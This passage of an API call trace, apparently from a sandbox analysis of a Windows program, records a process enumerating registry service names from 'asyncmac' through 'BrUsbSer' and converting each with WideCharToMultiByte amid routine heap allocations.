lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.802] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0241.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.803] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0241.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.804] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0241.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.805] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0241.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.806] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.806] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.806] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.806] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.807] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.807] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.807] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0241.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.808] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.808] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 